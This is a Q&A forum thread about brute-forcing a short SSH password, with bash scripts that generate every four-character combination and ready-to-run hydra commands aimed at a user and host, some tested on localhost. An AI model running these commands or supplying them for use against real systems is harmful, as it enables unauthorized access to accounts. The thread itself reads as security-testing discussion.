Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Suppose, you know that a certain computer is only protected by such a short password, then you could just try every possible combination easily.

How would a script look like, that tries to crack that password?

Something like

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here; 
done

(I know, this is not a good example but my bash skills are not that good yet)

share|improve this question
3  
As this is more bash, less security, I'd go over to super user. –  Henning Klevjer Dec 13 '12 at 10:17
4  
If you just want a quick hack, use 4 nested loops that go from a-z, and concatenate the values together. –  Polynomial Dec 13 '12 at 10:19
1  
can't john the ripper connect to ssh server directly? –  Hubert Kario Dec 13 '12 at 22:25

4 Answers 4

up vote 3 down vote accepted

hydra can generate the passwords for you. No need to generate them separately if you will be using brute force:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V means verbose, -x 4:4:aA1 means min is 4 letters, max is 4 letters. List of letters is a-z denoted by a, A-Z denoted by A, 0-9 denoted by 1. You can add other characters like %_-+/

You need to wrap apostrophes around the -x option if you add special characters like space, ^,&,* or ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh
share|improve this answer
    
This doesn't give anything new that previous answers haven't. –  Rory Alsop Oct 5 '13 at 14:43
    
It does, in fact this is the best answer, cause it doesent need to have a teporary wordlist file and works with just one line of code –  rubo77 Oct 6 '13 at 7:52
    
I just successfully hacked a 1-letter password with hydra -l testuser -V -x 1:4:aA1- localhost ssh (1:4 means minimum 1 and maximum 4-letters) –  rubo77 Oct 6 '13 at 7:55

so this is the conclusion:

nano /tmp/create_wordlist_case_sensitive.sh

#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )

echo '-'
for a in "${run1[@]}"
  do
  echo '$a'
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    

bash /tmp/create_wordlist_case_sensitive.sh >/tmp/word_list_long.txt

hydra -l john -P /tmp/word_list_long.txt attack_host ssh
share|improve this answer

here are two bash scripts to generate a list of all possible four letter combinations. the first gives only lowercase combinations (create_wordlist_case_insensitive.sh), while the second gives all combinations of upper and lowercase letters (create_wordlist_case_sensitive.sh).

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

use them to create your wordlist files like this:

$ create_wordlist_case_insensitive.sh >word_list_short.txt
$ create_wordlist_case_sensitive.sh >word_list_long.txt

then your script can loop through whichever file you need like this:

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
 done < word_list_short.txt

except that this code won't really work, bc ssh doesn't accept a password as an argument.

you'd have to automate that segment of the code with expect, but i won't go into how to do that here. alternatively, i suppose you could use a different command that does accept a password as an argument, like telnet.

share|improve this answer
1  
I am totally unsure how this is helpful to anyone. The hard part isn't coming up with the combos, it's how to brute-force ssh, which is the detail you purposely omitted. –  schroeder Dec 13 '12 at 23:58
    
Thx, this is the correct answer to the question. it would work with some more coding (with expect). but hydra will get better results. –  rubo77 Dec 14 '12 at 4:48

Whilst you could use a generic scripting language like bash for this, you might get better results with a security tool focused on testing brute-force attacks like THC-Hydra from a speed perspective anyway.

share|improve this answer
    
ok, i followed that tutorial (insidetrust.blogspot.de/2011/08/…), but it doesent work: echo myrealpassword>/tmp/pass.txt; hydra 10.0.0.74 ssh2 -s 22 -p /tmp/pass.txt -l ruben -e ns -t 10 sais Error: Unknown service –  rubo77 Dec 13 '12 at 14:38
    
I tend to have better success with re-ordering the switches so that the commands ends with the target and service. Read the hydra man page and help text. –  schroeder Dec 13 '12 at 18:01
    
i found it: hydra -l john -p doe 192.168.0.1 ssh works, thanks –  rubo77 Dec 13 '12 at 21:43

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.